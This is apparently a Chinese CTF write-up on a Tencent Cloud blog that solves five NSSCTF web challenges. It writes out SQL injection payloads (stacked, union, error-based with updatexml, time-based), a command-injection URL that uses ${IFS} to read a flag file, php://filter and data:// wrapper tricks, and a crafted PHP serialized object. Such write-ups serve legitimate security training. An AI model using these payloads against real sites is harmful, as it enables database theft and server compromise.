前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >NSSCTF刷题篇

NSSCTF刷题篇

作者头像
用户2616264
发布2023-05-18 10:51:43
2510
发布2023-05-18 10:51:43
举报
文章被收录于专栏:penetrationpenetration

[suctf 2019]EasySQL

先尝试使用常见姿势进行测试结果还是不行直到使用堆叠注入

代码语言:javascript
复制
1' or '1'='1'#	#or语句
1' order by 3#	#order语句
1' union select 1,2,3#	#联合查询
1'and(select extractvalue(1,concat('~',(select database()))))	#报错注入
1' and if(length(database())>1,sleep(5),1)--+	#时间注入
1;show databases#
1;show tables#

当使用1;show columns from 'Flag'#去查询数据时发现不行。看了一下网上的WP题目使用的查询语句是

代码语言:javascript
复制
select $_POST[‘query’] || flag from Flag

sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数第一种就按默认没有配置来进行,此时||就是逻辑或||在命令执行中见过,回顾:

代码语言:javascript
复制
payload1 ; payload2 顺序执行
payload1 || payload2 如果payload1执行失败,则执行payload2
payload1 && payload2 如果payload1 执行成功,则执行payload2

所以我们只需要将post提交的参数换成*,1如果直接写的话会被报错的 select *,1||flag from Flag,这样就直接查询出了flag表中的所有内容。此处的1是临时增加的一列,列名为1且这一列所有的值都是为1;

网上还有一种解法:

代码语言:javascript
复制
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接sql:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 “或” 运算符sql_mode说明;这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1 和 select flag from flag 的结果拼接在一起

[SWPUCTF 2021 新生赛]babyrce

代码语言:javascript
复制
 小饼干最好吃啦!

在请求中添加cookie:admin=1 得到关键信息rasalghul.php

访问rasalghul.php 绕过空格技巧

代码语言:javascript
复制
payload: ?url=ls${IFS}../../../ 
payload: ?url=tac${IFS}../../../flllllaaaaaaggggggg

[SWPUCTF 2021 新生赛]error

代码语言:javascript
复制
payload : 
	?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ 查询表
	?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='test_tb'),0x7e),1)--+  查询字段
	?id=1' and updatexml(1,concat(0x7e,(select group_concat(flag) from test_tb),0x7e),1)--+ 这里只能查询一半,剩下的我们使用right函数去查询
	?id=1' and updatexml(1,concat(0x7e,(select group_concat(right(flag,15)) from test_tb),0x7e),1)--+

[SWPUCTF 2021 新生赛]PseudoProtocols

提示我们能否找到hint.php文件,并且在url参数中发现了wlim

采用php://filter协议去读取文件 进行base64解码之后让我们访问 /test2222222222222.php

代码语言:javascript
复制
a参数利用file_get_contents()函数已只读的方式打开,如果内容等于I want flag的话,输出flag
payload:/?a=data://text/palian,I want flag

[SWPUCTF 2021 新生赛]ez_unserialize

代码语言:javascript
复制
admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

可以看到类wllm中,__destruct()方法被重写,需要修改类成员变量内部值来获取flag,因为__destruct()方法是在对象被销毁是调用,由此我们先创建一个对象,给其成员赋值然后进行序列化

代码语言:javascript
复制
admin ="user";
        $this->passwd = "123456";
    }

    public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
$a = new wllm();
$a->admin="admin";
$a->passwd="ctf";
$q = serialize($a);
print_r($q);
?>

得到序列化的结果

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 将结果传入/?p=O:4:“wllm”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf”;}

最后得到flag

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-03-12 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • [suctf 2019]EasySQL
  • [SWPUCTF 2021 新生赛]babyrce
  • [SWPUCTF 2021 新生赛]error
  • [SWPUCTF 2021 新生赛]PseudoProtocols
  • [SWPUCTF 2021 新生赛]ez_unserialize
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档